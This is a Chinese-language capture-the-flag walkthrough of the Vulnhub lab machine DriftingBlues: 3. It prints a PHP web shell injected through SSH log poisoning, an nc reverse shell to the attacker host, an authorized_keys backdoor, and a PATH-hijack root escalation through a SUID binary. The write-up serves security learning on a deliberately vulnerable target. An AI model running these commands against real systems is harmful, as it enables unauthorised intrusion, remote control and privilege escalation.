Vulnhub: DriftingBlues: 3靶机

kali:192.168.111.111

靶机:192.168.111.192

信息收集

端口扫描

bash 复制代码
nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.192

查看robots.txt得到提示

访问eventadmins提示littlequeenofspades.html

查看littlequeenofspades.html源码

base64解密后提示adminsfixit.php

访问后发现ssh日志内容会写入该文件

写入webshell

bash 复制代码
ssh '<?php system($_GET["cmd"]);?>'@192.168.111.192

执行命令

bash 复制代码
http://192.168.111.192/adminsfixit.php?cmd=id

获得反弹shell

bash 复制代码
http://192.168.111.192/adminsfixit.php?cmd=nc -e /bin/bash 192.168.111.111 4444

提权

robertj用户.ssh文件夹有写入权限

本地生成ssh公私钥,公钥文件名修改为authorized_keys后上传目标.ssh目录

bash 复制代码
ssh-keygen -f id_rsa
mv id_rsa.pub authorized_keys

登录后查找suid权限的文件

bash 复制代码
ssh robertj@192.168.111.192 -i id_rsa
find / -perm -u=s 2> /dev/null

执行该文件的同时会执行uname命令

bash 复制代码
strings getinfo

修改环境变量提权为root

bash 复制代码
echo '/bin/bash' > /tmp/uname
chmod 777 /tmp/uname
export PATH=/tmp:$PATH
/usr/bin/getinfo
相关推荐
Gobysec25 分钟前
Goby 漏洞安全通告|Oracle Identity Manager 命令执行漏洞(CVE-2025-61757)
安全·oracle·漏洞检测·cve-2025-61757·漏洞研究
火白学安全1 小时前
《Python红队攻防零基础脚本编写:进阶篇(一)》
开发语言·python·安全·web安全·网络安全·系统安全
lingggggaaaa2 小时前
免杀对抗——C2远控篇&PowerShell&有无文件落地&C#参数调用&绕AMSI&ETW&去混淆特征
c语言·开发语言·笔记·学习·安全·microsoft·c#
wgego3 小时前
polarctf-web做题笔记
笔记·web安全
济宁雪人4 小时前
Java安全基础——文件系统安全
java·开发语言·安全
xixixi777775 小时前
“C2隐藏”——命令与控制服务器的隐藏技术
网络·学习·安全·代理·隐藏·合法服务·c2隐藏
joinclear5 小时前
【问题记录】09 对接阿里云内容安全机器审核-文本、图片审核,code报错408
安全·阿里云
报错小能手6 小时前
计算机网络自顶向下方法57——网络安全 基础与密码学原理
计算机网络·安全·web安全
Pa2sw0rd丶7 小时前
Fastjson 反序列化漏洞深度解析:从原理到实战防护
java·后端·安全
老马爱知7 小时前
第5篇 | Web应用的“外邪”:XSS、CSRF与SSRF漏洞详解
web安全·xss·csrf·零信任·ssrf·信任边界·攻防启示录